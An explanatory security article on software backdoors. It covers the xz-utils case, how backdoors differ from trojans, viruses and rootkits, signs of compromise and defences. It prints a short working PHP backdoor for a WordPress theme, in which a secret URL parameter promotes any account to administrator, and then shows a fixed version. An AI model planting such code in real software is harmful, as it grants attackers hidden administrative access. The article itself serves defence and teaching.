A backdoor is a method of accessing a computer system that bypasses normal authentication mechanisms, either deliberately left in place or introduced by an attacker to guarantee future entry without anyone noticing. The name describes the concept well: a door at the back, open beyond the guarded front entrance.
The most notorious case of recent years remains CVE-2024-3094: a maintainer inserted code into the open-source xz-utils package, used by most Linux distributions, that intercepted SSH connections before authentication. It was discovered almost by accident, by a developer who had noticed an unusual slowdown during login. It is the perfect example of how well-written a backdoor can remain invisible even inside software watched over by thousands of eyes, and it's why the topic of software supply chains is now as central as application vulnerabilities.
What a backdoor is
A backdoor works as an access channel parallel to the official one: whoever knows about it gets into the system without going through login, MFA or any of the other intended controls. It can be left by whoever develops the software for legitimate maintenance purposes, or inserted by an attacker to maintain access to an already-compromised system.
The difference from a "one-shot" attack is precisely persistence: once a vulnerability has been exploited to get in, an attacker often installs a backdoor so they don't have to repeat the exploit every time, even if the original flaw is later patched.
Backdoor, trojan, virus and rootkit: the differences
In everyday language these terms are used as synonyms, but they describe different aspects of a threat and often coexist in the same attack: a trojan can be the vehicle that delivers a backdoor, and a rootkit can be what hides it.
| Category | Primary goal | Actively hides | Self-replicates | Typical delivery |
|---|---|---|---|---|
| Backdoor | Persistent unauthorized access | Yes | No | Code inserted during development, or installed after an exploit |
| Trojan | Get malicious code executed by disguising it as legitimate | Yes, disguises itself as something else | No | File downloaded or run by the user |
| Virus | Damage or alter files and systems | No, acts openly once active | Yes, by infecting other files | Requires a host file to infect |
| Rootkit | Hide the presence of other malware or of an access | Yes, at the OS or kernel level | No | Often installed via a backdoor or an already-obtained exploit |
In practice a backdoor answers "how do I get back in", a trojan answers "how do I get my code executed by the victim", a virus answers "how do I spread", a rootkit answers "how do I stay invisible". They aren't alternatives to each other: in a real attack they combine.
Types of backdoors
Intentional
Inserted by developers or vendors for maintenance, debugging or technical support. They become a risk when they remain in production code, go undocumented, or fall into the wrong hands: a debug credential forgotten in firmware is, in effect, a backdoor.
Unintentional
Born from programming errors rather than intent, such as an administrative endpoint reachable without a permission check, or a parameter that bypasses an authentication check due to a logic bug. For whoever exploits them, the result is identical to a genuine backdoor.
Supply chain
Inserted not into the final product but into a dependency, library or build tool used to produce it, as in the xz-utils case. They simultaneously hit every project that depends on that component, which makes them particularly efficient for an attacker and hard to spot for anyone who only code-reviews their own code. We covered this same theme in Vercel's OAuth supply chain breach.
Hardware and firmware
Built into the circuitry or firmware of a device, such as a router, switch or network card. These are the hardest to detect because they leave no trace in the operating system's filesystem and survive a complete software reinstall.
How a backdoor gets into a system
The most common methods are three: inserting malicious code directly during development or an update, exploiting an existing vulnerability to install one after initial access, or physically accessing the device. Once present, a backdoor stays dormant until activated, often by a specific command, a password known only to the attacker, or a particular condition such as system startup.
A concrete example, typical of compromised WordPress themes and plugins:
<?php
// functions.php of a compromised theme
if (isset($_GET['entryhook']) && $_GET['entryhook'] === 'apritisesamo') {
$user = get_user_by('login', $_GET['u'] ?? 'admin');
if ($user) {
$user->set_role('administrator');
}
}
Just visiting any page of the site with ?entryhook=apritisesamo&u=username promotes an account to administrator, with nothing showing up in the WordPress interface.
How to recognize a backdoor
Some signs worth checking, especially after an incident or during an audit:
- outbound network traffic to unknown IPs or domains, especially outside business hours
- running processes with names similar to system ones but with paths different from the original
- administrative users present on the system but not traceable to anyone on the team
- differences between the hash of production files and that of officially distributed files
- cron jobs, startup services or scheduled tasks not documented anywhere
- successful SSH or RDP logins from locations or times inconsistent with normal use
None of these signs alone is definitive proof, but together they narrow the field considerably.
Defending against a backdoor
Compared to the vulnerable code shown above, the substantial difference is that no administrative function should ever be reachable without an explicit permission check, regardless of how it's invoked:
<?php
// Fixed version: no magic parameter, just a real permission check
if (current_user_can('manage_options')) {
// authorized administrative logic, logged and traceable to an authenticated user
}
The key difference isn't so much the syntax as the principle: a privileged action must always go through the same authorization mechanism used by the rest of the system, not through a parallel path that nobody checks.
Beyond this, some practices concretely reduce exposure: keeping operating systems, CMSs, plugins and dependencies up to date, since several backdoors arrive via known, already-patched vulnerabilities; monitoring file integrity with tools like AIDE or Tripwire; limiting the privileges of users and processes, so that a single compromised one doesn't grant access to everything; verifying the provenance of software dependencies, with SBOMs and version pinning, especially after cases like xz-utils; and including critical themes, plugins and modules in normal code review activity, not just internally written code.